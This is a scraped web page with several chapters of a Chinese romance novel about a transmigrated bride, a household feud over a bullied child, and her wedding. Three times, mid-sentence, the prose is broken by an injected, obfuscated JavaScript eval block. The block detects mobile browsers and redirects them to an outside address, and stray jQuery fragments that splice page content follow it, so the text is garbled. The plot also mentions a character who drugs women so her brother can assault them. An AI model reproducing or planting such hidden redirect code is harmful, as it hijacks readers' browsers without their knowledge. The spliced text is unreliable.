察觉宓瑶并不热络,潘氏半蹲对萧善温柔说道。
只是她一提虎头,萧善眉心就皱成一团,往后退了一步躲在了宓瑶身后。
见状,潘氏愣了愣。
马阿婆没少说萧家孩子跟马虎感情融洽,还说萧善长大一些,若是没傻的厉害,就让马虎跟萧善定下娃娃亲。
现在看来马阿婆嘴里没一句真话。
“可是虎头哥哥欺负善儿了?善儿跟姑母说,姑母帮你罚他。”
萧善依然躲在宓瑶的身后,见潘氏不停跟她说话,她求助地仰起头,眨巴眼睛想让宓瑶帮她应对。
宓瑶见着可爱,伸手把她抱了起来。
不过一抱起来她就后悔了,哪怕萧善不重,但她穿得厚衣服给她加了不少重量,抱在怀里多少有点受罪。
所以她毫不犹豫地把小萝卜递给了练过端盆子的诗雅。
见宓瑶掩不住的嫌弃,潘氏心中讥笑,虞女与她上一世的认知并无差别,傲慢骄纵,连演戏都演得不尽心破绽百出。
“善儿容易害羞,马夫人这般问她,她不好意思表达,等到私下时,我问问她,若是马小郎君做了什么欺负善儿的事,我倒时再告诉夫人。”
宓瑶没把事情糊弄过去,替萧善说什么没被欺负,而是打算私下问问萧善,要是真有欺负,潘氏这个当娘的都要铁面无私了,她干嘛要装大度。
“是该如此。”
潘氏应下没当回事,但谁想到过了片刻,她儿子的哭声震天,她赶到现场,正巧看到马阿婆捞着萧良衣领,手掌高高举起明显是要打人。
“住手!”
“你敢动手,今日就别想安然无恙走出萧家。”
宓瑶的威胁与潘氏同时喊出口。
宓瑶与潘氏分别后,本来打算劳逸结合,走一阵子就回厢房躺一阵子。
回去的路上她撞见了萧良身边的嬷嬷像是没头苍蝇一样绕来绕去,知道一定是萧良出事,想着萧翼出门登学不在府中,没人护着萧良便开口问了始末。
“还不让她把你们主子的衣裳松开!”
宓瑶扫了眼在旁躲着,任由萧良被拎着的萧家下人,厉声道。
她话音落下,有霜华带头,其他萧家下人立刻掰开了马阿婆的手,让萧良恢复了自由。
“母亲……”
萧良不敢让宓瑶看到他脸上的眼泪,胡乱用衣袖擦了擦眼泪,才埋头吸着鼻子叫了声宓瑶。
“过来。”
见马阿婆一副还要撒泼的模样,宓瑶朝萧良说道。
萧良犹豫了一下,走到了宓瑶的身边。
他一来,萧善挣扎着从诗雅的怀里下地,拿着兜兜里的帕子给他擦眼泪。
“善儿……”
萧良本来要停下的眼泪,触到妹妹给他擦眼泪的手指,又忍不住张嘴哇哇大哭。
“阿家这是怎么回事?好端端的你一个大人跟萧二郎计较什么。”
见萧二郎的样子,潘氏一阵头疼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584030|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>今日她来萧府,马阿婆非要跟来,见操持萧家事务的是节度使府邸的管事,知道没便宜好占,马阿婆就甩袖子走了。
她还以为马阿婆是离开了萧府,谁知道她是跑到萧良的院子里逞威风。
“你看看他都把虎头打成什么样了!”
就是宓瑶来了,马阿婆也不觉得自己有错,指向在旁边椅子上坐着的孙子。
见所有人看向自己,马虎挺起了右脸,让所有人看他脸上被萧良打过但没有留下任何痕迹的脸,还有扒开了裤子,让人看他腿上快要消失的红痕。
“萧二郎打我,大母打死他!”
说完,跳下凳子,打算把躲在宓瑶身后的萧良捞出来。
诗雅她们自然不会让他靠近宓瑶。
虎头被抓住胳膊,挣扎不开,瞪向宓瑶:“你这个狐狸精,我也打死你!”
话落音,宓瑶上前直接扬手给了他一巴掌。
清脆的响声在院内回荡,宓瑶可没有因为马虎是孩童收力,打完她摊开自个发麻发烫的手,让手吹风降温。
“什么家教,是来做客还是来撒野。”
“你这贱妇,竟敢打我孙子。”
宓瑶这一巴掌不止打蒙了马虎,也让院内的其他人失了言语,马阿婆最先反应过来,抬起手往宓瑶方向冲,想要为她的孙子做主。
“还不拦着。”
怕马阿婆发疯打伤了她自个婢女,宓瑶看向院内伺候的下人,特别是萧良的嬷嬷。
被宓瑶目光扫到,几人只有去拦。
但她们不敢开罪马阿婆,所以人是拦住了,但却挨了好几巴掌。
“几个人连一个人都挡不住,一点用处都无,也不知道萧郎怎么会留你们在府中伺候。”
宓瑶话说完,几人来了不少劲,马阿婆被扯乱了头发,屁股跌到了地上。
“哎呦,杀人了,恶妇杀人了,快来救命啊!”
潘氏没想到事情一眨眼的功夫就发展成了这样,愣在了原地。
她不想管马阿婆,但不能对哭声震天的儿子视而不见,把马虎拉到边上,潘氏看着他面颊上的巴掌印。
哪怕她不在意这个儿子,也有了几分面子被打的难堪。
“再怎么样,虞娘子也不该对孩童动手。”
“他骂我,我难不成要没脾气让他骂不成,你若是心疼他被打,就该好好教他,别让他长成一副挨揍的蠢样,打他我还嫌累了我的手。”
说着,宓瑶嫌恶地甩了甩手,根本没有圆滑场面的意思。
“小儿有口无心,你是大人就不该与他计较……而且还打得那么狠,虎头只是个四岁的孩子。”
听出潘氏语调细腻的变化,还有她眼角突然聚起的水光,宓瑶若有所察地转过了身。
触到萧欻的绛红金丝袍,旁人还未反应过来之前,她已经拎着裙摆小跑,捏住了他的袖摆轻轻摇动,眼眸虽没泪痕,但水汪汪的眸子委屈满溢:“呜呜,萧郎有人欺负我,还用极难听的话骂我。”
一边说,一边摊开了自己的手心。
“你瞧我的手都红了,好疼。”
萧欻低眸看向女子白皙细嫩的手掌,红的确是红了,但看不出是受伤红肿,还是纯粹被风吹红。
15. 第十五章
“谁骂你?骂你又与你手疼有什么关系?”
萧欻扫了眼不远处的嘈杂,一下子抓住了宓瑶话中的重点。
“那个叫马虎的小儿骂我,他骂得难听,我抬手打了他,他皮糙肉厚,把我手掌打疼了。”
宓瑶没有掩盖自己行为的意思,萧欻一问,她就实话实说全部说了出来。
她的实话让萧欻抬起的脚步顿了顿,视线从前方转移到了她的身上。
他对邻居家的孩童并无关注,但依稀记得马家小儿比萧良还小,她打了四岁小儿,还要找他为她做主?
一时间,萧欻脚步不想往前,只想离开这处,免得被扯进无意义的争端。
不过他现在想走也来不及,马阿婆见宓瑶恶人先告状,焦急地带着孙子往前跑,让萧欻看马虎脸上的巴掌印。
“萧镇使你瞧瞧,我孙儿多小的年纪,这恶妇竟然下得去手。”
“就是,萧郎你瞧瞧,他得骂得有多不堪入耳,才能让我这般娇弱的小娘子动那么大的气,用力给了他那么大一个巴掌。”
“你这女人颠倒黑白,你打了我孙儿,难不成还是我孙儿的错了!”
“不是他的错便是你的错,不懂得教养孩子,一老一小到别人家撒泼,我从未听过有人上门做客,老的动手打府中的小主子,小的骂府中未来女主子。”
宓瑶冷面说完,转向萧欻时又娇柔起来,再次摇了摇他的衣袖:“萧郎,他们欺负我与欺负你有什么不同。”
萧欻听到宓瑶说“老的动手打府中小主子”,便把目光转向了萧良和萧善两人。
见萧良满脸泪痕,就知道这个被打的小主子说的是他。
“怎么回事?”萧欻看向萧良。
“还能是怎么回事,我家虎头好心好意陪他玩,他不识好人心,反倒打我家虎头,把我家虎头打伤了。”
马阿婆抢先说道,她说完马虎跟着点头,指向萧良:“二郎先打我。”
“小儿争执不是什么大事,两个人互相认个错就好。”
潘氏接着开口,“虎头你先向二郎认错好不好?”
看得出马虎对潘氏这个母亲有几分惧怕,所以就是潘氏脸色和煦,马虎带着满脸不愿还是磨蹭走向萧良,打算听她的话道歉。
“既是这样,该是萧良认错。”
萧欻冷然看向萧良,宓瑶觉得他的目光不像在看儿子,而是在看仇人。
当爹的都这样宓瑶本想不管,但看到萧良捏紧拳头,抽泣着真要跟马虎道歉。
再想马阿婆跟马虎的一搭一唱那么熟练,萧良不知道受了多少次这种委屈,还是张了嘴:“二郎你说到底是怎么回事?不是说给旁人听,是说给我听,我虽不是为了你扇这丑小子一嘴巴,但却是因为你过来掺和进了这桩事。”
听到宓瑶开腔,萧欻睨了她一眼。
“夫人……”
萧良这会已经想起还不能叫宓瑶母亲,宓瑶说她不是为了他打虎头,但他觉得她就是为了他。
抿了抿唇,萧良边抽泣着打颤,边朝宓瑶道:“是虎头抢我东西,我不愿给他,马阿婆看到之后,说我小气让我把东西给虎头,我不愿虎头就一直哭闹,后面阿婆趁着我没留意就抢了东西,虎头拿到点心尝过以后说冷了不好吃,说我是乞丐把东西砸在地上踩我才推他……”
说着,萧良又止不住眼泪,他偷偷看了萧欻一眼,见他脸上的冷硬,身体不由僵了僵。
“你胡说八道,谁抢你的东西!”
马阿婆见事情都要落地了,宓瑶又捣乱让萧良胡说,气得想推萧良。
“去拦着。”
宓瑶朝诗雅道。
“没人抢他的东西,虎头就是看到了点心想吃,吃了萧二郎两口点心,二郎小气就打我家虎头。”
“不是的,是你们抢的,那是夫人给妹妹的点心,妹妹没吃完,我藏在房里,肚子饿时吃一点点,是虎头偷翻出来。”
听到这事还是因为自己送的点心惹起,宓瑶朝萧良招了招手:“过来吧,你说了事实,你爹不是个是非不分,帮着别人的孩子欺负自家孩子的蠢货,不会让你白受委屈。”
宓瑶说完,对上萧欻的目光,嫣然一笑,“萧郎快为我们做主,别忘了你自个承诺的,要精心照养我这株脆弱的娇花。”
马阿婆真是恨不得抓烂宓瑶的狐狸脸。
这么会有这般不要脸的女子,当着人的面就在男人面前卖乖撒娇,跟窑子里的花娘有什么区别。
马阿婆是愤恨,潘氏则是不安,她上辈子没有关注宓瑶刚到萧家时的样子,但她记得宓瑶因为心中惦记她生死未知的情夫,对萧欻不假辞色,在上一世的婚礼上还闹出了不愿拜堂的风波。
而现在宓瑶眼神娇柔,哪像对萧欻不假辞色。
美人冷若冰霜都能让男子忍让几分,何况宓瑶作态娇媚,软糯的腔调就像是带着钩子,惹人心酥。
“萧二郎打了我家虎头,你也打了我家虎头,萧镇使要做主也是给我们做主,你这江南来的女人阴险狡诈,胡说八道!”
“萧郎你看她嘛!”
宓瑶不跟马阿婆吵,只是摇了摇萧欻衣摆。
“时候不早,阿婆若是没事该带孙儿归家了。”
萧欻这话明显是站在了宓瑶那边,马阿婆落了下乘,气得的鼻孔撑大像只老牛:“看在镇使的面上,虎头今天这个委屈就算了,但二郎小小年纪就说谎可要不得,镇使你在家可得好好教训他,不要让其他人把他给教坏了!”
说完,马阿婆抱着孙儿就走,留下忐忑不安的萧良站在原地。
他不敢跟阿爹说他没有说谎,因为知晓说了也没用,只能等着阿爹的惩罚。
对手走了,宓瑶也没有胜利的喜悦,反倒是气闷的想踹萧欻一脚。
什么毛病把自个儿子当仇人整,怪不得书里面原主可以那么容易把萧良他们弄死。
说起来原主的结局还挺冤,萧欻这个当爹的就是这个德性,孩子死了他应该高兴,装什么痛苦把原主这个恩人千刀万剐。
“回去吧。”
萧欻倒没罚萧良,只是不耐把人赶走。
“你也回去。”
萧良走了,萧欻对上宓瑶的目光,也没有与她多说两句的意思。
“我还委屈着呢,在房里会闷死。”
“你动手打人,委屈什么?”
萧欻蹙眉,不知道宓瑶是在闹什么,只是他的冷脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584031|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对萧良他们有用,宓瑶则是能视而不见,让他只有耐着性子问她到底想怎样。
“我打他,他受伤的是身体,而且四岁的孩子,受了疼一会就忘了,而他骂我伤害的是我的心,心和身体你说哪儿受伤更疼。”
萧欻回答宓瑶前,看向了没与马家祖孙离开的潘氏。
“马夫人还有事?”
见萧欻看向自己,潘氏巧笑:“我与九哥许久没见,大事没有,只是想跟九哥聊聊家常。”
宓瑶的不同让她如鲠在喉,哪怕知道现在时机不对,她也想插在两人之中,不让宓瑶继续在萧欻面前倚娇作媚。
“马夫人,萧郎不是真的问你有没有事,而是想让你懂得自个碍眼先走,我们未婚夫妻此刻私下有话要说,萧郎面薄,若是有旁人在场他不好抹面哄我。”
宓瑶讨厌马家人,自然不会漏下潘氏,再者潘氏一副忘了亲儿子,执着跟萧欻叙旧的模样,明显是有其他的心思。
顿了顿,她又继续开口,“马夫人是不是忘了马虎是你亲生儿子,他没有规矩被扇了巴掌,又被主人家赶走,你不去管教他而是留在这里不走,怪不得他会是那副模样。”
潘氏的笑容干在了脸上。
她怎么说也是赵天赫的养女,宓瑶竟能对她那么不客气。
仿佛除却萧欻值得她放低身段,其他人她都没看在眼里。
“虞娘子才来有许多事不知,我在马家过得并不如意。”说到后一句话,潘氏看向了萧欻。
“不如意你看萧郎做什么?是他让你不如意了?”
不耐烦潘氏的不停纠缠,宓瑶直接道,“你若是对萧郎有意,那就往后稍稍,我这里还有事呢,你就不能明日再找个时辰过来。”
“明日我们成婚。”
萧欻提醒了一句。
话说出口,萧欻就觉着自个没事找事,果真就听到宓瑶道:“男子要是有心,洞房前一刻都还能与旁人甜言蜜语,明日成婚又如何。”
她说完,顿了顿,又抓住了他的衣摆:“郎君是喜欢看女人为你争执还是如何,我急着告状,你快些腾出个能让我能告状的环境来。”
萧欻不想听宓瑶告状,也不想留下与潘氏叙旧。
而这二者非要选一样出来,他朝潘氏道:“辛苦马夫人为婚事劳心,不过虞女这般怕是不会领其心意,马夫人还是先归家吧,我会派人送上你今日帮忙的酬谢。”
等到潘氏离开,萧欻冷然注视宓瑶,真觉得自己娶了一个麻烦回来。
她不愿安排内务,有人过来帮忙,她又开口把人赶走。
“你想要如何?要我挖马家小子的心肝补偿你遭受的恶语?”
萧欻语调讥讽,宓瑶只当听不出来:“萧郎若是愿意这般,我自然满意。”
“虞宓瑶,我厌恶太过麻烦的人,不管这人是否是女人,是否貌美。”
萧欻狭长的眸子宛若结上了厚重的冰层,冷硬锋利。
宓瑶与旁人怎么闹腾他不管,但她闹腾的事必须是她自个解决,而不是闹到他面前,需要他当什么公道伯,为他们评判对错。
“叫我嫮嫮。”
面对萧欻的警告,宓瑶扬唇粲然一笑,提醒他道。
16. 第十六章
萧欻自然没有闲情逸致叫她闺名,与她在冷风中打情骂俏。
看出她不怕他的威胁,萧欻收回了目光。
没挨过打的人自然不知道棍棒打在身上会有多痛,虞少阳还未到蜀地,他现在还得供着她,等到往后他总有手段让她听懂他说的每一句话。
萧欻不发一言地拂袖而去,瞧着萧欻倒三角的宽阔背影,宓瑶嘴角的笑片刻后才慢慢垮下。
她不知道她算不算让萧欻吃瘪了,反正她依然觉得气闷。
“你可否听过,萧欻与他去世的大哥有仇?”
知道虞琇平日喜欢打探府邸隐私,宓瑶一边往听松院走,一边朝她问道。
“萧家下人倒是没提过这个,若是阿姊好奇,琇儿去打听就是了。”
看出宓瑶想管萧家小子的闲事,虞琇虽然不满,但还是把自己打听的消息全都实话实说了出来,“姐夫跟他大哥有没有仇不晓得,但萧府的下人都知道姐夫不怎么亲近三个孩子,听说是因为萧老夫人去世前,逼姐夫把两个孩子记在他的名下,姐夫不高兴所以对他们冷淡。”
“他若是不喜欢被人喊爹,就不会收什么养子。”
宓瑶回道。
她不觉得萧欻讨厌小萝卜他们,而是觉得这是他养育孩子的方法。
他常年在外,没工夫细心照料孩子,干脆培养他们像是野兽一样成长,不要把他当做依靠。
因为他明显不怎么喜欢马家人,也不像是那种把别人看法看得比自个想法还重的傻子。
不过就是想通了这点,她依然不觉得萧欻就好了。
在自己明显受了委屈的孩子面前,听外人的话来怪罪自己的孩子,不管他的教育方法是什么,他的脑子里都全是水。
*
小萝卜兄妹三人共住听松院。
一个离主院最远的院子。
除了位置偏了点,院子本身还算不错,方位考究,几个屋子的朝向都见得到光。
看得出院内经常打扫,院中花草一派勃勃生机,下人们没有躲懒敷衍。
只是光照顾花花草草有什么用,小主子被揍一个不管。
宓瑶的气一直到进了萧良房里,看到他与妹妹头靠在一起闭眼睡觉才消了下去。
平日小萝卜看到两个哥哥就躲,一副不认识两人,免得被他们抱走的模样,如今萧良受委屈,她紧紧拉着他的手,听到动静闭着眼的眼睁了睁,看到宓瑶也没有松开哥哥的手,而是蹭了蹭萧良的脸,贴他贴的更紧。
见状宓瑶摸了摸她的脸蛋,见她把萧良的脸推到她手边,她也伸手摸了摸。
两张小脸一样的滑嫩,一样的肉乎乎。
“好了,睡吧。”
见小萝卜再次闭眼,宓瑶才离开屋子。
“二郎回来后就跟小娘子在房里说话,说了一会两人就睡了。”
萧良的嬷嬷在宓瑶跟前解释道,“我给二郎换了衣裳,净了面,厨房也准备粥食,等到二郎醒来就端过来。”
瞧着局促不安的周嬷嬷,宓瑶倒不是想为难她。
只是觉得萧欻实在没有找内政管理人员的眼光。
这个周嬷嬷并不是喂养过萧良的乳母,而是萧欻下属的遗孀,因为婆家容不下求到了萧欻这里,萧欻就把她留在府中照顾萧良。
在婆家被欺负到活不下去的女人,到了萧良身边自然也不会立起来。
人的品性还成,但就是胆小怕事,遇到事就是想找人求救也不敢开口,只敢在路边像个没头苍蝇似乱转。
“知道给自己找活就行,没有哪家府邸会银钱多的没处使,养一群没用的下人在府中白吃白喝。”
宓瑶不只是敲打周嬷嬷,而是将院中的下人都一一看过,特别是神情心虚的范嬷嬷。
两个嬷嬷都不是乳母,周嬷嬷对萧良还算尽兴,范嬷嬷则是靠跟马阿婆的亲戚关系,来萧府养老的。
“没了小娘子伺候,范嬷嬷你每日悠闲,不是睡大觉就是跟亲戚嗑瓜子,日子过得比我还逍遥,我这个人心眼小可看不惯这些。”
“虞娘子,我冤枉啊,小娘子换下的衣裳我每日都有打整……”
“不然还要我来打整?”
宓瑶嘲讽地翘了翘唇,“别光想着我来提点你们怎么做,我是来当主子,不是来教你们怎么当下人的,自个动脑子想想平日怎么做才算对得起你们领的月钱,今日事若是还有下次,我这人不爱听人狡辩,该轰出去的轰出去,该卖了换新的便换新的。”
知晓没有个长久盯着内宅的管事,她这番敲打的效用也维持不了太久。
所以回到厢房后,宓瑶开始沐浴保养,感受调制的香膏擦过每一寸肌肤,努力让享受的舒服来掩盖她刚刚产生的烦恼。
孩子怎么样都能长大,只要她不像是原主一样把他们弄死就好,至于照顾他们那就不该是她的事了。
若是她因为一时怜悯,那往后他们就成了她的责任。
而萧欻这个当爹的则是能更完美的隐身,彻底不用管他几个孩子。
哪怕是可怜小孩,她也始终不会忘记,她是来当娇妻的,不是来当付出型配角,来爽萧欻这个主角的。
*
沐浴后,宓瑶躺在长榻上,美白滋润的各类膏体从头涂抹到脚。
等到身体全部吸收过后,见还有一个时辰才天黑,宓瑶叫霜华她们去找凤仙花干:“若是找不到,找其他颜色鲜艳鲜花过来也行。”
小萝卜回到宓瑶的住处时,正好看到在桌前摆弄捣药的小罐,其中加了泡发的凤仙花瓣还有帆石,已经捣成了泥状可以用来染甲。
萧善好奇地凑到浅盘玛瑙罐边上,动着鼻尖好奇地里头嗅。
“我往里头滴了牡丹露,你闻到的是牡丹与凤仙花的气味。”
宓瑶说完见萧善明白地点头,想了想,又开口道,“你二哥怎么样?你既然过来了,他已经缓过来,不觉得委屈了是不是?”
萧善继续点头,站直伸长了手,比了一个比自己个头高一截的位置。
“你是说你大哥回来安慰了他,他就不委屈了?”
萧善点头。
见宓瑶没问题了,她又爬上了凳子,瞪大眼睛看着刮到银盘的红泥。
“这是拿来染甲的,我先给你染。”
见萧善好奇,宓瑶也想看看上色的状况,就握住了萧善的小肉手,拿了紫豪小楷笔沾了汁液,小心地涂抹在了她米粒大小的指甲壳上。
原主写得一手漂亮的簪花小楷,她继承原主的记忆后,动手握笔试过,因为手指有用笔的肌肉记忆,写出的字与原主没什么差别。
不过她对写毛笔字没什么兴趣,穿过来之后除了尝试的那次,这是她第二次握毛笔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584032|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不得不说,原主从小的训练十分有用,小萝卜那么小的指甲,她都能掌控毛笔,把颜色抹上甲壳,没有溢出边缘。
瞅见萧善因为红指甲眼神越来越亮,宓瑶让诗雅给她包手,她自个接着涂抹了手脚指甲。
“你们若是喜欢就一起涂上。”
手指和脚趾都套上了锦缎,宓瑶跟小萝卜躺在床上动不了,见材料还剩许多,宓瑶便朝霜华她们说道。
哪怕是不喜欢打扮的小姑娘,每日看宓瑶忙来忙去也会对打扮产生兴趣,知晓宓瑶在这事上大方,不会吝啬身边的丫头爱美,诗雅她们没一会也都包上手指。
等到第二日婚礼,萧欻乍看到萧善手指发红,还以为她出事磨坏了手,定睛一看才发现那红色是染上去的红色。
古里古怪,偏生她还得意的紧,张开手给她哥哥们看。
在萧善这里吃了亏,等见到宓瑶婢女们一个个翘着兰花指,手指一片红色拿腔拿调地做事,他也有了底子。
只是等到花轿探出的那只凝脂玉手,目光触到她指尖艳丽的红色,他情不自禁地加重了手力,听到罪魁祸首吃痛轻呼,他才满意地松了力道。
萧欻的婚期虽急,但因为有赵天赫早早嘱咐为他筹备用具,所以办得并不草率。
府邸张灯结彩,大门悬挂的羊角灯贴金箔双喜,连镇门的石狮也用了红绸裹满周身,脖颈系了大红花结。
从大门开始便铺了红毡毯迎客,大红的丝绢纱灯一直沿着迎客道,挂满了整个府邸。
宓瑶是远嫁,喜轿从萧府抬出,在益州城内转了两圈,又抬回了萧府。
到益州后,因为嫌冷,宓瑶还没出过萧府大门。
而这次坐在喜轿之中,她算是对萧欻在益州的声望有了个具体的认识。
原本她以为围观百姓是因为萧欻养父的名声来看热闹,但一路听到百姓们的讨论,才晓得他们抛洒五谷与铜钱全都是冲着萧欻而来。
萧欻平定荆州内乱前后,益州都接收了不少荆州的难民,除此之外,萧欻之前一直镇守翼州,不知道打退了多少次吐蕃来犯。
所以赵天赫这个节度使在蜀地有威望,而萧欻这个军镇使也不差。
百姓热闹的欢呼伴随着五谷不断落下,宓瑶一时没注意到萧欻手掌的用力,等进了府邸,她低眸看到泛红的皮肤,才忍不住吐槽萧欻没摸过女人手,力道蠢的很,每次碰她的手都要把她当做泥做捏一下。
萧欻双亲不在,两人进喜堂只需要拜见赵天赫。
宓瑶举着紫檀木为架金银线绣鸳鸯双喜的玉流苏却扇,听了半晌两侧宾客夸奖新娘子丰神绰约,与新郎天作之合,等到被送到喜房坐下,不管萧欻有没有作劝却扇诗,她都为了萧欻省了事,毫不犹豫地放下团扇缓解她的手酸。
放扇后,察觉到落在自己身上的目光,宓瑶抬眸看向束金冠佩银鱼袋的萧欻。
目光交错,两人都未开口。
她不想惯着萧欻,他不张嘴,她就与他比赛木头人,看够了他的眼眸,她就看他的鼻梁,他的薄唇。
一直等到她数完了他的金冠有几颗宝石几颗东珠,萧欻终于张开了嘴巴。
“我去陪客,你且等着。”
等什么?
宓瑶动了动满头朱钗,他是没看够她的美样,想要她保持这模样等着,好让他回来再多看几眼?
17. 第十七章
不知道是萧欻朋友太少,还是脾气太差,或者是两者皆是,反正他走后,宓瑶才反应过来没人来闹洞房,也无掌事安排男童压床,吃果子一类的习俗规矩。
不过这在她看来是省事的好事就对了。
可惜她悠闲没有一盏茶的功夫,知晓萧欻去了席上的女眷便相约到了新房看新妇。
喜房瞬间热闹了起来,她想模仿萧欻的冷脸,可惜她长得太美看着就善良是个好人,跟萧欻那张不讨喜的脸截然相反,所以并没有什么用处。
对此她只能改变策略,要么就当做听不见旁人说她胸大屁股大一看就好生养讨论,要么就低头发呆装羞涩。
“年岁虽然大了些,但刚及笄的小娘子哪有这般风韵,怪不得萧镇使特意去江南求娶。”
“你没听见旁人说她是江南第一美人,我看她说不定及笄时屁股就这般大了,不然如何当第一美人。”
“这不得三年抱俩。”
……
萧欻是武将,婚礼邀请的宾客大多是他的同僚,女眷中有文雅的夫人娘子,但不管什么时刻雅都压不过俗,特别在有床并且大家都心知肚明一个时辰后宓瑶要跟萧欻要做什么的情况下。
听着话题已经进展到萧欻发量浓密黑亮,鼻梁高挺,由面相慢慢往下三路引申。
宓瑶目光触到在人群缝隙若隐若现的萧善,想让人把她抱出去,而这一抱她才发现萧善拉着旁边妇人的衣摆。
目光对上,妇人朝她笑了笑,叫了声“弟妹”。
见宓瑶目光茫然,妇人面上多了丝紧张与尴尬,“你夫婿萧欻是我阿弟,我已经嫁出萧家许多年了……”
旁人看宓瑶不认得萧柔,热心地帮她介绍:“虞娘,这是你亲大姑,跟萧镇使同一个爹娘所出,唤作萧柔。”
“新妇竟不认得自个大姑,看来传闻属实,萧镇使是真不喜这个出嫁的阿姊。”
“自家阿弟成婚,又不是住的远,竟然成婚当日才上门,估计是萧镇使不让,怪不得有人说萧镇使心跟刀似的……”
“小声些。”
听着周围人细碎的讨论,宓瑶大概明白了眼前妇人是谁,叫了声“大姑”以后,目光交错,宓瑶一时也不知道要对萧柔说什么。
细看之下萧柔五官模样的确与萧家人有几分相似,只是眉心有重重的川纹,嘴唇习惯性抿着,嘴角下落有一种让人瞧着就觉得她日子难过的愁苦感。
不止是相貌,她身上半旧的折枝花纹的素锦棉衣也能看出她日子过得不算舒坦。
也不知道是她看书看漏了,还是书里面根本没提,反正她是这时才知道萧欻有个亲姐姐。
而且瞧模样,萧欻对她跟对三个孩子一样,都是采取野生野长的态度,没让他亲姐姐沾上他一点光。
“九嫂嫂你长得真美,先前听说你是江南第一美人,还以为是旁人夸张,如今看到才知道什么是天仙下凡。”
宓瑶正思索着怎么跟萧柔这大姑客套几句,就听到少女清脆抢耳的夸赞,人群中穿着桃红云缎裙戴着垂金雕芙蓉花流苏步摇的姑娘挽住了宓瑶的胳膊,“听说九嫂嫂在闺中素有贤名,往后我举办花宴,嫂嫂可得捧场。”
不同于面对萧柔时的毫无准备,这位小娘子宓瑶倒是知道是谁。
萧欻的养父赵天赫跟萧欻一样,命里面带寡。
赵天赫有四个子女没到他四十岁时就因为各种原因离世,而后结发夫人也伤心过度跟去了。
赵夫人死后,赵天赫没有续娶,只是一个接一个的认养子养女,还把赵家旁支的子弟放在身边培养。
这位打扮隆重,脸上脂粉比她还厚的便是赵家旁支的七娘子。
能看出她是赵七娘,除却虞琇打听了女客中谁要注意,还因为书里面赵七娘有不少戏份。
同样都是恶毒女配,原主是在萧家的内院坏,赵七娘则是针对益州每个貌美的夫人娘子。
她嫡兄贪色,她就为她嫡兄物色猎物,借着赵家女的身份与貌美的女眷结交,期间趁机下药,让她嫡兄占了便宜之后,再用权势威胁对方闭嘴。
书里面赵七娘也找上了原主,不过原主运气不错,在喝下下药的香饮之前,萧欻从天而降出面阻止没让原主中招。
只是萧欻并未给原主解释他打翻香饮,把她从赵七娘宴会拎走关进萧府的缘由。
所以之后赵七娘与其兄长的勾当被揭发,原主并不觉得萧欻救了她。
只觉得萧欻是故意让她丢丑,他如此动静,分明是让旁人误会她跟其他女子一样,掉进了赵七娘的陷阱,跟赵七娘的哥哥有了首尾。
对于把心思往她身上打的恶毒女配,宓瑶连敷衍也难得费力,面对赵七娘的邀请,她抽出手低头笑了笑,连嘴巴都没张开,直接装起了聋子。
见状,赵七娘还想说话,但其他女眷打岔,等到媒婆提醒时辰到了,人群散去,她夹杂在其他人之中又说的几句话也没得到宓瑶的回应。
“还真当自己是个玩意了,不过是落魄世家的女娘,到了益州还敢在我面前耍威风。”
在新房时赵七娘尚且还能忍着,一出屋子,她便咬牙切齿,踢了踢回廊茂盛的花草。
“娘子,当心有人。”
路道上到处都是宾客,赵七娘身边的婢女见不远处有女眷往这个方向看,提醒主子道。
“要你告诉我!”
赵七娘的脚落在了婢女身上,“旁人看到又如何?!这益州乃至整个剑南都是我大伯的,这些人不过是依附在赵家身上的蝼蚁。”
越说她越不满意宓瑶对她的态度,萧欻不过是赵家的鹰犬,一只鹰犬的妻子也敢在她面前摆架子。
她没回女眷席上,而是让下人给她五哥递了话,等到两人回廊见面,赵七娘便迫不及待道:“五哥怎么不去闹洞房,虞女貌若天仙,见着她扇下的姿容,我哪怕同为女子也忍不住为她心醉。”
赵五郎在席间没少喝酒,听到赵七娘如此盛赞宓瑶,更是心口发烫身下发痒。
“我哪里不想去看虞女真容,只是萧欻小气,借口都不寻,直接冷眼看向说要闹洞房的武将,让其他人也歇了心思,不敢在他面前提及此事。”
赵天赫的养子中赵五郎最看不起萧欻,也最怕萧欻。
其他养子晓得自个吃的是谁家饭,懂得在赵家人面前摆低姿态,但萧欻则是不把他们当回事。
之前他兄长说话冒犯萧欻,萧欻直接动手揍了他兄长一顿,赵天赫不止没为赵家人做主,还大乐道萧欻有脾气,赏了萧欻。
